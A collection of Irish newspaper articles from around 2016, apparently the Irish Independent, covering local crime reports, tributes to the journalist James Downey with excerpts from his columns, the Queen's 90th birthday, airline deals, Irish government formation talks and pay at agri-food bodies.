"The new water-based solution can be sprayed onto any glass, ceramic or metallic surface during the production process, rendering the surface 99.9pc resistant to superbugs like MRSA, E coli and other fungi."

The research has been funded for the past eight years by John Browne, founder and chief executive of Kastus Technologies, who plans to bring the product to a global market.

Mr Browne was also supported by a significant investment from Enterprise Ireland.

"I was sold on this from the first moment I heard about it. It's been a long road to here but it was such a compelling story that it was hard to walk away from so I had to see it through to the end," said Mr Browne.

"This is a game changer. The uniqueness of antimicrobial surface treatment means that the applications for it in the real world are endless.

"The multinational glass manufacturers we are in negotiations with to sell the product to have been searching for years to come up with such a solution but have failed."

The next step is to adapt the solution for use in plastics and paint, extending its use to a wider range of material.
Declan Garrity being led away from his New York apartment

A US court has issued an arrest warrant for a Northern Ireland man who allegedly tortured his flatmate's cat after he returned home when his visa expired.

Declan Garrity (24), from Omagh, stands accused of ripping out the claws of Lucy, breaking bones in her face, pelvis and legs and burning her after moving into the apartment in November.

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The financial analyst was working for Barclays when he was arrested by police last month. He was charged with aggravated cruelty to animals and torturing and injuring animals and released on a $5,000 (3,500) bond.

A criminal complaint filed by the Manhattan District Attorney's Office stated: "Shortly after (Garrity) moved into the apartment the individual observed Lucy's behaviour change, including hiding in the individual's bedroom closet, not eating and constantly licking her paws."

It added that Garrity told his flatmate on January 25 that an iron had fallen on the cat while he was at work.

Garrity was fired from Barclays on March 4 and told he had a month to leave the US.

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"It is your obligation to comply with the immigration regulations by either departing the US or applying to US Citizenship and Immigration Services for a change in status to another non-immigrant visa category as soon as possible," a letter purportedly sent by the bank and obtained by a US website said.

The same site claimed that Barclays paid or would pay for Garrity's flight home as part of a "settlement term" of the termination of his employment, with the Tyrone man getting the payment in a lump sum.

"We understand that your last place of foreign residence is Northern Ireland, UK," the letter stated.

"We have determined that the cost of a one-way, economy fare ticket to Belfast, Ireland, is $662.90."

Garrity was due before Manhattan Supreme Court on Tuesday to be arraigned on the animal cruelty charges.

Justice James Burke issued a bench warrant for him after speaking with lawyers involved in the case.

Assistant District Attorney Erin Satterthwaite said she spoke to officials at the US Department of Homeland Security.

"When there is a criminal case pending, there are different procedures," she added.

She said that because of the additional circumstances "he would not necessarily be reacquired to leave". "This is absolutely a wilful and voluntary absence," she added.

Garrity's defence lawyer Telesforo Del Valle jnr said his client saw an immigration lawyer for advice before leaving the country. The lawyer informed him he would be in the US illegally if he did not leave.

A GoFundMe page was set up to raise money for Lucy's veterinary treatment.

An update shared on the page two days ago revealed the cat was doing well and was no longer taking medication.

"Her feeding tube has been removed and Lucy continues to do just fine eating on her own," the post read. "She's been extra playful and is even running."
President Michael D Higgins has led tributes to the late James Downey, one of Ireland's "most committed journalists and editors."

In a statement, the President, inset below, sent condolences to the Downey family, saying: "It is with sadness that I have learned of the death of James Downey.

"He will be remembered as one of Ireland's most committed journalists and editors and as having made a lasting imprint on journalism through his deep knowledge of the world of news and public affairs.

"In his career as a journalist in Leitrim and Dublin, James Downey showed a continuing concern for the public interest and transparency.

"He was driven by the strong belief in the power of information and the need for critical analysis to further political accountability," said the President.

"Sabina and I extend our heartfelt sympathy to his wife, Moira, his daughters Rachel and Vanessa, his siblings and family and his large circle of friends."

Taoiseach Enda Kenny paid tribute to the long-serving political commentator.

He said: "James was a man with a long, varied and very distinguished career. He was a man of singular abilities and was never afraid to say what was on his mind."

Minister for Foreign Affairs Charlie Flanagan also expressed sadness, adding that his political observations had been "refreshing and independent."

Editor of the Irish Independent Fionnan Sheahan described Jim's passing as "a sad occasion for hundreds of journalists who worked in the Irish Independent over the past three decades, to whom he was a thoroughly generous mentor".

"His commentary was incisive, intelligent and always sharp," he said.

"Jim's passion for politics and current affairs continued right up to his death. Despite his ill health, his commitment to journalism meant he was still writing his column until last week," he said.

"He had a belief in the import of political leadership and its ability to improve the fortunes of the citizens of the country. Jim was one of the foremost commentators of our times. The readers of the Irish Independent will miss the authoritive perspective he brought to affairs of State as they were able to rely on him to guide them through complex political developments."

Seamus Dooley, Irish Secretary of the National Union of Journalists described Mr Downey as "a journalist of formidable intellect, style and wit who believed passionately in the right of journalists to ask difficult questions."

Mr Downey was a "provocative columnist. He had an unrivalled knowledge of Irish politics," he said.

"He was the best of company and will be missed as a friend and mentor," he said.

Former Labour Minister, Barry Desmond, said that he had "an extraordinary longevity" as a political columnist and had effectively participated in every election since 1960.

He ran in the 1969 election for the Labour Party but eased away from party membership in the early 1970s, when he ended his association.

"He was not at all happy going out and knocking on doors, he was very much the political commentator - far happier writing about politics," commented Mr Desmond.

Willie Penrose, Labour Party chairman, recalled James's courtesy to him as a young TD.

"He made sense of politics - even for politicians," he said.
A couple and their three children have been left homeless after loan sharks forced them out of their town.

Gardai have launched an investigation into the gang behind a series of incidents which have forced Antoinette Keane and her husband Edward, a retired Defence Forces soldier, to quit their home in Tubbercurry, Co Sligo.

Ms Keane, (43), says the crime gang has been terrorising the town "for years" and she was targeted after she refused to continue her payments.

The gang smashed windows at her home and in their car on the Ballina Road.

She says she will now move anywhere in Ireland to get out of Sligo and away from the gang members.

A 300 loan came with a 100pc interest rate.

"When I paid off the 600, I was told I still owed them 2,500. Then it became 500 a week if we wanted to continue to live in Tubbercurry," said Ms Keane.

The mother of six was in hiding last night with her husband and three youngest children aged 14, 13 and 10.

Streets

"We managed to get somewhere to stay until Saturday but after that we are on the streets," she said.

"I will go anywhere in Ireland now. We are not on social welfare and we don't get rent supplements.

"We can afford to rent privately and now we just want to start our lives all over again somewhere else.

"We would appeal for help from anyone who can help us start our lives all over again somewhere else."
A couple and their three children were lucky to escape injury after their family home was targeted in a suspected petrol bomb attack while they were asleep inside.

Gardai are investigating the circumstances surrounding the shocking incident, which occurred in Dublin shortly before 11pm last night.

A couple and their three children were asleep in the house when their home on Cloonlara Road, Finglas, Co Dublin was targeted.

No damage was done to the property but the familys vehicle was burnt out during the attack.

Units from the Dublin Fire Brigade (DFB) were called to deal with the fire, but it is not thought that any family members required medical treatment.

Detectives from Finglas garda station are investigating the incident, and are appealing from anyone with information to contact them.

A source said that a petrol bomb was thought to be the accelerant used in the reckless arson attack, which is being treated as an incident of criminal damage.
The room was not much bigger than a broom cupboard, it was large enough to accommodate a single desk, and the official "conscience" of the Irish Independent, James Downey.

When he decommissioned his typewriter almost two decades ago - only to re-commission it about 48 hours later - he was dubbed by then editor Vinnie Doyle, as "the conscience of the paper".

The joke was that the office was so "snug" that Jim, as he was better known, would surely have to go into the corridor to change his mind.

But what a mind it was. Talk softly but always carry a big stick, is the stock advice to the diplomat. Jim spoke softly, but the big stick he carried was his breadth of knowledge.

He has been an illuminating and reassuring presence at the crossroads of practically every political milestone over the past six decades.

Back in 1982 I remember him exploding through the editorial office door in D'Olier Street, where he was then deputy editor of the Irish Times. In his hand he brandished a piece of paper above his head with such agitation, one thought it must be on fire.

He wanted to know whom was responsible for the offending story as there was an error in the intro.

Once it was explained to him it was a new hand on their first day, he immediately reverted to his normal subtle but serene self.

While he crusaded against cant and easy soft thinking, he used his strength gently.

He championed the 'less is more' school in his crisp and deliberate style. He could be sharp but always scrupulously mannered and unfailingly courteous.

He was a passionate Crystal Palace fan who enjoyed their successes and accepted their setbacks with droll equanimity.

Because he was sensitive and attuned to the cares and concerns of his readers, he took their causes to heart and this made him an unflinching advocate.

Oscar Wilde once wrote: "By giving us the opinions of the uneducated, journalism keeps us in touch with the ignorance of the community."

Anyone familiar with Jim's writing would see what a truly trite remark this was.

He was devoted to precision in fact and word, and the energy and passion he expended to deliver polished, flawless opinions was depthless.

He was endlessly frustrated and disappointed by the way the country was, and is run. But he kept his smouldering anger in check; preferring to remind the comforted of their failings; meticulously pointing out the flaws and futility of their ways. His logic and lucidity gave him a silky ability to persuade rather than pummel the reader.

His spirit may have been torn by tragedy in the North or broken banks, but all the time he remained an impartial clinical observer.

He had a disdain for the shallow and was not slow to render a rueful verdict. But even then his arguments were poised.

Jim was a passionate Europhile, and President of the Association of European Journalists in the 1990s. He strived to make sure that Ireland was kept abreast of events in Brussels.

He railed against the insular and provincial. He saw it as something of a vocation to shatter as much of the plate glass in Ireland's valley of the squinting windows as his time would allow.

As a columnist he had a vigour for the plain unvarnished truth and social justice. It literally pained him to see the pass the country had come to.

Having been a close friend of the Lenihan family, to see Fianna Fail preside over the destruction of the economy hit him hard.

A couple of years ago he wrote in a characteristically bemused way of how quite a number of people thought Ireland was the best country in the world in the context of the Good Country Index.

It had even named Ireland as "the goodest country out of 125". He was non-plussed, but later greatly reassured by Ireland Inc's reaction, when the same organisation was overwhelmed with emails of angry protest.

In their narrative they had committed the cardinal sin in Jim's book, not only had they taken liberties with the English language; they had failed to tell the full story of everyday Irish life by leaving out our broken banks, unemployment, emigration, negative equity, mortgage arrears . . . his list went on.

Jim was not about leaving people in the dark or ill-informed. Some dismiss journalism as literature in a hurry. They argue that writers glibly trade in the pain of others.

Jim did no such thing. He was a compassionate man who took his time, in his own wry way, to get it right.

In doing so he enriched the time of many others who will be at a loss without him.

Jim on the Civil War parties

For hours on end, accusations flew, many of them of little or no relevance to the subject of the debate. Avril Doyle of Fine Gael even managed to drag in the Arms Trial, all those years ago. I almost wondered if someone would ask who killed Kevin O'Higgins?

- 'Bile dissolves rumpus', 1989

Fine Gael are a curious and, in some ways, an anomalous party. They have often made a virtue of conservatism, and their ranks and upper echelons contain people who belong firmly to the ideological right.

Even now in 1990, as in the early days of the state, their staunchest supporters are the bigger farmers, and their working-class support is low and falling.

- 'Gently shifting direction', 1990

History will treat Charles J Haughey kindly, says Bertie Ahern. A daring assertion. What is history? Bunk, according to Henry Ford. A set of lies agreed on, in the view of Napoleon. Truth or lies, agreement is not easily found. Reputations wax and wane.

Over the next 100 years, always assuming that civilisation survives that long, you can bet your life that assessments of Haughey will swing from denunciation to adulation and back again.

Still, the move to rehabilitate him is certainly in full swing, and he has been long enough out of office for a tentative judgment on whether it is justified.

- 'Judgment of history', 2004

Jim on the Labour Party

The public mood remains depressed. Perhaps the chief reason is our apparent inability to establish the causes of the economic crash and the events which led up to it, or to identify and punish those responsible.

That is only one example of the absence of what George Bush the Elder called "the vision thing". No party appears to have any vision of the society which will follow the recovery.

Recently, I heard a contributor to a radio programme outlining measures which he believed would lead to another Celtic Tiger. A female voice in the background cried out: "No! God forbid!"

I agree with that lady. We don't want another boom, succeeded by another crash. We need a very different vision. Who will express it? Not Fine Gael. Not Fianna Fail, to judge by its performance since the meltdown of 2011. Not Sinn Fein. And not Labour as long as it remains in government.

Blinkered Irish political parties like to "prepare for government". The time has come for Labour to prepare for opposition.

It cannot walk out of the Coalition at this time, but only in opposition can a party refresh itself, think imaginatively, rebuild.

But can Labour, or any party, persuade the voters that it has a vision they can understand and believe in? In our leaderless, motiveless system, that is the biggest challenge.

- 'Only in opposition', 2013

Jim on the Abbey theatre

The old Abbey Theatre was nothing much to look at. A narrow entrance on an undistinguished street corner.

Inside, a lack of comfort for the audience such as could hardly be imagined nowadays.

But comfort is nothing compared with magic. And all theatres offer magic; offer the hidden, the mysterious, the religious, the sexual.

The Abbey had a special magic of its own. Its opening marked the culmination of the Irish cultural renaissance and supplied it with a bricks-and-mortar monument.

Before we had our own parliament and our own courts, we had our own theatre. It was exciting. People took it seriously. There were riots. Some wanted no deviation from a portrayal of a sedate Catholic society.

With time, as it happened, Irish society became all too sedate. As bad luck would have it, one of the very worst periods followed the fire of 1951.

The Abbey took over the old Queen's music hall in Pearse Street, where it put on gruesome comedies with the message, expressed or unexpressed, ah-sure-isn't-this-a-great-little-country.

The rulers of this great little country are not adept at decisions.

They seldom seem to understand that failing good decisions, bad decisions are the next option.

- 'Bring back the magic of the Abbey', 2005

Jim on the McCabe killers

Ever since the outbreak of the Northern troubles 30 years ago, a prime objective of all Irish governments has been to prevent the violence spilling over into the Republic.

With some exceptions, they have succeeded. There is nothing on this side of the border comparable to the lawlessness which has prevailed on the other side and still prevails. But the exceptions have been spectacular. They have included, among many other sensational events, the murders of Earl Mountbatten and a British ambassador, Christopher Ewart-Biggs, and the abductions of Tiede Herrema and Don Tidey. During the operation to rescue Mr Tidey, a Garda recruit and a soldier were killed.

More insidious (and, it may well be feared, longer lasting) are the effects of the presence in some parts of the country, and not only parts close to the border, of IRA nests. It was members of one of these who killed Detective-Garda Jerry McCabe. Their relationship to the mainstream Sinn Fein-IRA leadership, and the degree of control exercised over them by that leadership, may be in doubt. Not in doubt are the implications of the events which led yesterday to the charge against them from murder to manslaughter.

- 'A plea bargain by any other name', 1999
The devastated family of innocent gangland victim Martin O'Rourke have thanked the public for the outpouring of support since his murder.

Mr O'Rourke will be laid to rest today after a mass in Halston Street Church which will be lead by Fr Bryan Shortall.

His father-in-law Larry Power said: "We just want to say a big, huge thank you to the community in Sheriff Street on behalf of the family and Martin's three children.

" They've been very supportive, it's a very strong community down there," added Mr Power.

Following a public appeal for help, more than 5,000 has flooded in for his funeral expenses and to help his young children in the future.

The Dublin man was killed in a case of mistaken identity. The shooting of Mr O'Rourke on April 14 at 12.25pm was the latest incident in the feud between the Kinahan and Hutch gangs.

Mr O'Rourke's fiance Angelina is pregnant with the couple's fourth child and has spoken of her heartbreak.

"All I want is to have him back," she said.
The baby was welcomed at The Department of Social Protections office on Gardiner Street in the city yesterday afternoon.

A woman gave birth to a baby in social welfare office in Dublin city centre.

The baby was welcomed at The Department of Social Protections office on Gardiner Street in the city yesterday afternoon.

A spokesperson for The Department of Social Protection confirmed that paramedics rushed to the scene to attend to the woman who was in labour and staff assisted her until their arrival.

The Dublin Fire Brigade also attended the scene at around 2.45pm on Thursday.

The woman (25) was attended to at the scene by a member of the fire brigade.

No other details of the woman were provided 'in order to respect the woman's confidentiality', according to a spokesperson from the Department of Social Protection.
Dromina House is a listed building dating from around 1820 and retains many period features.

About four years after John F Kennedy died, and a year before she married Aristotle Onassis, Jackie Kennedy came to Waterford.

She stayed at Woodstown House, a handsome early-19th century property close to Woodstown beach on the Waterford estuary, and she wasn't the only one to feel the draw of the local scenery. John Profumo and Nancy Sinatra are among others reported to have stayed in the locality.

The luminaries of the 19th century were fond of the area too, and built several houses there. A few hundred metres up the beach is another example, Dromina House, which dates from around 1820.

It's a listed building that was extensively renovated in the mid-1990s, although the National Inventory of Architectural Heritage is a little sniffy about the restoration.

"The external appearance has been compromised by over-zealous restoration works that have eroded most of the historic fabric and patina," notes the NIAH.

Those works included a replacement roof in artificial slate, PVC rainwater goods, and, of course, the dreaded PVC windows.

Plenty of period features remain though, including ornate ceilings, elegant fireplaces and wood floors. The property still has its cut-stone entrance pillars too, and is set on 7.13 acres, with parkland and outbuildings.

The house is 5,005 sq ft, with six bedrooms (three en-suite) on its first floor. The ground floor has the kitchen, drawing room, dining room, office and sitting room. And at attic level there are four more rooms used as a gym, library, playroom and box room.

Dromina House is about 20 minutes' drive from Waterford city and 15 minutes from Waterford airport, where there are regular flights to and from Birmingham and Luton.

The agent is Michael H Daniels & Co in Fermoy (025) 31023 and the asking price is 795,000.
The Queen with her five great-grandchildren and her two youngest grandchildren in a new photo released by the Palace. The children are: James, (left), 8, and Louise (second left), 12, the children of Edward and Sophie Wessex; Mia Tindall (holding the Queens handbag), the two-year-old-daughter of Zara and Mike Tindall; Savannah (third right), 5, and Isla Phillips (right), 3, daughters of the Queens eldest grandson Peter Phillips and his wife Autumn; Prince George (second right), 2, and in the Queens arms, 11-month-old Princess Charlotte

Queen Elizabeth II (C) posing with her two grandchildren, James, Viscount Severn (L) and Lady Louise (2L) and her five great-grandchildren Mia Tindall (holding handbag), Savannah Philipps (3R), Isla Phillips (R), Prince George (2R) and Princess Charlotte (C) in the Green Drawing room at Windsor Castle in Windsor. Picture: ANNIE LEIBOVITZ/AFP/Getty Images

For a younger generation of Irish people, at ease with perusing fashion pictures of Kate, Duchess of Cambridge on tour, or reading about Prince Harry's latest japes (or even his most recent charity gig), the notion that such pictures of the British royal family might be prohibited is absurd.

But things were a little like that at the beginning of Queen Elizabeth's reign in 1952. There wasn't exactly an official censorship of royal images, but there was disapproval.

Citizens of the Irish Republic were not expected to "fawn" over royal glamour. My mother had friends who lived in Banbridge, Co Down, and a memorable aspect of their visits to us in Dublin was the stash of glittering photographic publications they'd bring along, showing Queen Elizabeth and her arguably prettier (and naughtier) sister, Princess Margaret Rose.

Political correctness, in one form or another, has always existed, and the political correctness which prevailed, in those early days of Elizabeth's reign, was that the Republic of Ireland stood aloof from all royalist fol-de-rol. Correct protocol was, of course, observed and when a British monarch died, proper messages of condolence were sent.

But other royal events were little reported, officially ignored, or treated with marked reserve. For the political class, Partition remained too sensitive an issue, and the "English Queen's Coronation Oath, with its claim to Sovereignty over the Six Counties", as De Valera's Irish Press put it, clouded all issues which touched the Crown.

What was not really grasped at the time, but which, I think, is better understood now, is that the symbol of "the Crown", and the actual people involved - especially Elizabeth herself, celebrating her 90th birthday today - are two different things.

"The Crown" has generally been negatively represented in Irish history - even that lovely ballad The Fields of Athenry, identifies "the Famine and the Crown" as two curses on Ireland; but the institution is not the same as the person. (Just as, for many Irish people, the institution of the Catholic church is not the same as the local priest they might think serves the community well.)

In the course of Elizabeth II's reign, naturally, much has changed with the passage of time, but the arm's length, somewhat cold, relationship with the Republic of Ireland which once prevailed, has altered more dramatically than almost any other element in the jigsaw.

And it has been a two-way process. In the early years of Elizabeth's reign, British (and particularly Ulster Unionist) attitudes to the royal family could be almost sickeningly deferential.

When I was commissioned to prepare an obituary of the Queen Mother, reading the biographies and sorting through the vast collection of newspaper cuttings was like swimming through treacle. Any Irish republican - or any republican at all - could be forgiven for feeling that this was a fawn-fest which was at odds with modern democracy.

But then, problems arose with Elizabeth's family - three of her four offspring had failed marriages; there was Diana's tragic death; and the fire at Windsor Castle added up to the Queen's "annus horribilis" of 1992.

Some regard the royals as an ongoing soap opera, and indeed there are many elements of a regular storyline. The British, Continental and American media became more intrusive into royal family affairs - unsurprising when a paparazzo's snap of Diana could fetch $100,000 - but by the same token, it also humanised them.

Elizabeth and her family may be the living symbol of "the Crown", but they are also a family, with the stresses, tensions, and difficulties in relationships that occur in most families.

Paradoxically, I believe that the murder of Lord Mountbatten, wrong as any murder must be, played a pivotal role in reconciling much of Ireland. The reaction to that event, carried out by the IRA, was one of such heartfelt regret, by so many ordinary people, that it eventually served as an aspect of reconciliation.

This was vividlly underlined by Charles and Camilla's recent tour of Ireland's Wild Atlantic Way, when they made a point of visiting those places associated with Mountbatten and meeting people of the area.

It wasn't the first time, either, that Charles had made a gesture towards peace - he had visited the peace centre at Glencree previously, and spoken about the Troubles that Ireland had endured over the centuries.

Elizabeth herself, in her well-phrased speech, in her 2011 visit, had made a similar allusion to a wish that things had been done differently.

The 2011 State visit was crucial in the healing of Anglo-Irish relations, but it took years of plotting and planning between diplomats and civil servants behind the scenes. Elizabeth herself first indicated a wish to visit the Irish Republic in 1956, when the Irish Ambassador Con Cremin presented his credentials (I suspect she wanted to see the horses): but a lot had to happen before that was possible.

When her sister, Margaret, came to Birr in 1965, there were Republican protests, trees were cut down and arrests for disturbing the peace.

It was concluded that Irish society wasn't yet ready for "the royals", although Lord Snowdon, Margaret's former husband, told me that ordinary Irish people "couldn't have been more welcoming", and he received many messages to "come back soon - and bring the Queen".

We know how successful the 2011 State visit was, as was the reciprocal visit of An Uactaran to Windsor in 2014. But perhaps it all only happened in the nick of time.

With her 90th birthday looming, Elizabeth's programme of events has been diminishing: she won't abdicate, but a new generation is taking over the reins, and though Charles, Prince of Wales, must succeed - providing his mother dies first - we can see that William and Kate are gradually moving centre-stage in the performance of those ceremonial duties which a constitutional monarch carries out. (There are public complaints that William doesn't do enough, indeed - he's been called "work-shy": he protests that he's got a young family, and a pilot's job.)

It's piquant, all the same, at this point of Elizabeth's 90th birthday, that a subtle form of role-reversal has occurred in Anglo-Irish relations.

At the beginning of her reign, the Irish state was keen to separate itself and distance itself, at all costs, from Britain. Anglophobia remained a strong streak in Irish culture, and songs and ballads still anathemised the hated "Mother England". Today, by contrast, Ireland is almost equally desperate to join in the hug-a-Brit campaign, and to love-bomb England in the face of the "Brexit" threat.

The welcome given to Elizabeth (especially in Cork, with that iconic picture of Pat O'Connell, the merry fishmonger) certainly puts some credit in the bank of Anglo-Irish relations. Had Elizabeth never come to the Republic, and never been welcomed, it would surely have weakened Ireland's position in the dialogue.

Another interesting reversal has taken place too. From what I can gather, many Irish people like and respect Elizabeth for her sense of duty, and for the steadfast way she has upheld her Christian principles, and her commitment to her Christian faith.

She has repeatedly spoken of her Christian faith: and has said, in a Christmas broadcast, that she would have found it difficult to get through life without it.

By contrast, our own President, Michael D, has rather pointedly omitted any reference to faith in his seasonal broadcasts: and in his speeches commemorating 1916, has referred rather disparagingly to the "religiosity" which characterised the Irish Free State from the 1920s onwards.

At the start of her reign, Ireland was known throughout the world as a deeply religious society, whereas many thought England was somewhat "pagan". But now, Ireland seems keen on moving towards secularism, whereas Elizabeth - and no doubt, her heirs and successors - hold fast to their Christianity.

Nobody's life is all sweetness and light, and on her 90th birthday Queen Elizabeth is aware that her country is at a crucial point in its history, in facing into a referendum which will decide whether it remains part of the European Union, or not.

Whatever happens, there will be turbulence - and it is at tempestuous times that calm and continuity matter in a nation. There's little doubt that the majority of the British people trust Queen Elizabeth to provide that continuity.

Will younger people - in Britain, or elsewhere, including Ireland - feel that a monarchy is an archaic institution, with no democratic mandate, and thus, after Elizabeth's lifetime, should be abolished?

It's possible that many younger people do think this, in theory: but when we get down to what people do, rather than what they say, it's amazing how the ongoing saga of Charles and Camilla, Wills and Kate, Harry, Fergie, Beatrice and Eugenie still fill the celeb magazines, and still bring out a cheering crowd whenever there's a national occasion.

Queen Elizabeth has her critics - hasn't everyone? - but she has striven her best to carry out the role that was conferred on her by tradition, and is surely entitled to celebrate that on her 90th birthday.
Airline sales are like the proverbial 46A. You wait an age, and then several come along at once. Here's our round-up.

1) Save 20pc with CityJet

CityJet has several new routes this year, including Nantes, La Rochelle and Menorca from Cork. A summer sale runs to April 24 - to get a 20pc discount on fares (May 1-August 31), use the promo code 'Summer' when booking. See cityjet.com.

2) 100 off Aer Lingus transatlantic

A trip to the USA is always sweet. When you save 100 it's even sweeter. Right now, Aer Lingus has 100 off return fares between Dublin and Shannon and New York and Boston, for flights between June 7 and August 31. Book by midnight, April 25. See aerlingus.com.

Promoted: See the latest Aer Lingus offers and deals on Independent Discounts

3) Iceland from 69

WOW air has made low lead-in fares its USP, and it's true that those lead-ins aren't always easy to find. Now operating four weekly flights between Dublin and Reykjavik, however, one-way fares starting from just 69 are surprisingly common on its website. The flight is around 2.5 hours. Worth a browse? See wowair.ie.

4) Ryanair from 9.99

Ryanair has several offers on the go at the moment, including 15pc off Copenhagen fares and 30 off Business Plus. The best value fares are between Ireland and the UK, however - with one-way prices to Liverpool, Birmingham, Glasgow and other airports available from just 9.99 in April and May. See ryanair.com.

5) Flybe to Cardiff on the cheap

Cardiff from 9? It could be yours if you jump on Flybe's summer blockbuster sale, running to midnight on April 26. We checked Dublin-Cardiff fares for June, and they started from 9.12. Return fares were available from 34.88. Flybe also flies from Cork to Cardiff, Knock to Manchester and Edinburgh, and Dublin to Southampton, among other routes. Travel dates are May 23 to October 31. See flybe.com.

6) KLM Worldwide seat sale

Trailfinders is excellent for tracking long-haul seat sales, and right now it has KLM fares from Dublin to South Africa from 515 and Dubai from 419 (a one-stop connection, but still almost 100 cheaper than Emirates' direct). See trailfinders.ie .

NB: All prices subject to availability and change.

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Another week of stalemate, with little progress made in the talks to form a sustainable government. The change of venue from Leinster House to the scholarly surroundings of Trinity College down the road just adds to the absurdity of it all.

I find myself shouting at the TV as political correspondents strive to maximise trivial developments, and are often reduced to describing the "mood music".

So where are we now? This week has seen discussions finally start between Fianna Fail and Fine Gael on the terms and procedures involved in Fianna Fail supporting a minority Fine Gael government, should that party manage to win over the support of sufficient Independents to reach the magic number of 58. But Fianna Fail is over-reaching in that regard and is being allowed to do so. Bizarrely, in my view, Fianna Fail is trying to call the shots on a range of policy issues, as if it was negotiating a programme for a coalition government. Fine Gael is in submission mode, hopelessly compromised. It's not looking good.

Independents, now waiting in the wings, were hopping mad at what looked like Fine Gael briefing against them by way of a rough tot of their various demands published by the 'Sunday Independent' last weekend. But to be fair, it was high time an estimate of the cost of buying the votes of Independents, reported to be 13bn, was put out there. For shock value alone, it was instructive. The additional notion of five Cabinet seats going to Independents, as suggested by Finian McGrath, brought the public out in a rash.

It even propelled Labour to contemplate for the first time a re-entry into government in the hope of remaining relevant. My own view is that the party's recovery would be better served in government, with power and a few Seanad seats rather than competing for opposition airtime with the looney left and Sinn Fein. The Greens and the Social Democrats too are opting to sit this one out, which suggests self-preservation rather than looking at the national interest.

By the end of the week, Labour too had plumped for Opposition, when it was clear that the leadership had no hope of getting past a special delegate conference to go back into government.

For a frustrated public, it's like a long game of snakes and ladders. Hopes are raised and then dashed until the next inexpert throw of the dice. Eight weeks on and we are still going around in circles.

What baffles me is that Fianna Fail now appears to be trying to achieve some of its policy agenda as a price for "facilitating" the formation of government. For example, we witnessed the wrangling all this week over its policy of abolishing Irish Water and deferring water charges for five years. This is totally unreasonable. You do not achieve your policy objectives or have your policy implemented if you are not in government.

The price for Fianna Fail facilitating the formation of a minority government should be principally procedural, in arrangements for greater consultation, Dail reform, civil service briefings on legislation, speaking time, whip co-operation and perhaps the chair of a few committees in recognition of bipartisanship. Facilitating the minority government should not be a vehicle through which major policy is traded. Yet this is what appears to be happening.

These inter-party talks also appear rudderless and without structure. Although comprised of sensible TDs on both sides, the negotiations should be chaired by a respected person such as the current or previous Ceann Chomhairle, who could put some shape and limits on the discussions.

The formula of "nothing is agreed until everything is agreed" is a recipe for procrastination. The talks are getting bogged down on detailed policy matters rather than procedure, which is a mistake. Water is the first and the list is long. It all looks so incompetent - and it is. Independents are standing by. Only one has broken ranks and signed up: newly elected TD Katherine Zappone, having been promised enough to enlist her support.

I remain unconvinced that Independents are a reliable basis for government formation. Their demands usually relate to their own pet projects and obsessions rather than the national interest. In yet another moment of hubris, Mr McGrath suggested that their demands would have to be delivered in the first 100 days. No government should be held to ransom like that.

Another worrying aspect of reliance on the Independents is that when asked how long they expect the minority government would last, they suggest two or three budgets at the most. Is this meant to be a good outcome? A government with such a short life expectancy is doomed from the start. After 18 months, an election would be in the air, triggering the usual populist play-acting. A two-year administration would not give enough time to govern effectively or deliver on projects like housing or health service demands. Fine Gael should be talking about a full-term government, not a short-term arrangement. The country needs a stable, competent government which would last the full term of five years, not a temporary weak administration, subjected to weekly assaults on the floor of the Dail designed to provoke hot-headed Independents. For all the big talk of "new politics", there will be no let-up from Sinn Fein and other protest parties. Fianna Fail, too, will be fomenting trouble, particularly in the absence of a written agreement and given the evident bad blood between the two parties.

Eight weeks ago today the people voted. These talks need a chair and a deadline. Fianna Fail needs to realise if it is not in government, it will not get its way on policy. If Fine Gael has to cave in on a range of major policy areas such as water, tax and housing in order to form a minority government, it will not really be in government, but just a puppet for others. Another election, therefore, may be preferable to settling for such a compromised and emasculated administration.

As with an overworked painting, sometimes one needs a fresh canvas to start over again. Next time, people should be more discerning and vote for those who have the courage to govern. That should separate the men from the boys.
It may be a case of once bitten, twice shy. Farmers' trust in those at the top to deliver fair salaries for top executives has been well and truly broken.

They had placed their faith in the country's largest farmer representative body, the Irish Farmers' Association. Yet their trust was dented after a pay controversy in which it emerged that former general secretary Pat Smith got a pay package of almost 1m over two years.

It is the comparison that leaves farmers angered - as it is a figure that is far beyond the Teagasc analysis that places the average farm income at 26,642.

As the ICMSA's Pat McCormack points out, farmers feel far removed when they hear figures such as the total pay for the top nine managers at Ornua last year amounting to 4.4m, including pensions and benefits.

Now the ripples are continuing throughout the agri-food sector - a sector that often keeps senior pay levels behind closed doors.

In the likes of the commercial plcs, the figures are available.

They show that Glanbia's Siobhan Talbot took home a pay packet of 1.8m in 2015, while Kerry's Stan McCarthy made 4.23m in 2015.

However, Ornua may be able to point to that as a comparison but perhaps it could be argued it is not exposed to the same level of buffering of the corporate winds from the stock markets as the plcs.

Yet there is a veil drawn down over senior level pay throughout the agri-industry, with few figures available from the farmer-owned co-ops around the country on top-level pay at the bodies charged with taking care of farmers produce.

More and more often, questions are cropping up, as we've seen at the recent IFA hustings where pay and transparency were key points raised by farmers night after night.

It is likely this will continue to come up more and more as farmers see the base prices they are getting paid for their milk drop below the cost of production.

It is estimated the fall in milk price has wiped 1bn from the rural economy.

After years where agriculture has been touted as a fail-safe in securing jobs during the downturn, it appears that as the economy picks up agriculture is slumping.

Prices for grain, milk and pigmeat are on the floor, with growing concerns over cheap beef from South America potentially pushing beef off the shelves of European supermarkets.

Yet farmers have seen few inputs fall, with the price of fertiliser still astronomically high, and the bill for labour, electricity and many other costs remaining static.

Yet the country's dairy co-ops, located in rural communities that are feeling the pain of poor milk prices, either refused or didn't respond to queries about senior level pay.

The ICMSA's Mr McCormack pointed out farmers were dependent on the person to whom they gave a "mandate" to represent them on the board. "There needs to be a re-energising of co-op boards - in some you could go in at 22 and be there till 68 or 69," he said.

"Farmers would feel maybe less removed from the co-op movement if there was a greater involvement of suppliers. It would lead to more farmer inclusion. You might be lucky if there was one change in two years."

We've seen farmers vote with their feet in recent days as they backed an 'outsider' to take over as the new president of the Irish Farmers' Association.

It shows that farmers can bring about change, they just have to continue to demand it.
James Downey recalled how the "romance" of the trade of journalism had entered his bloodstream at a very early age.

Even in his childhood in Dromahair, Co Leitrim, he was already a news junkie, devouring the reports of newspapers - invariably the Irish Independent - the "staple of every Irish middle-class Catholic household."

Writing for newspapers gave him "half a century and more" of hard work and sheer pleasure, he wrote in his autobiography, 'In My Own Time'.

"I would grow to love the smell of ink and lead, the thrill of the scoop and the satisfaction of directing the production of a newspaper on great occasions," he said.

He was born in September 1933, the son of a school principal; his mother died of cancer before he reached the age of three, leaving James to be brought up by a prematurely aged grandmother and his father, whom he described as "stern, aloof and largely absent."

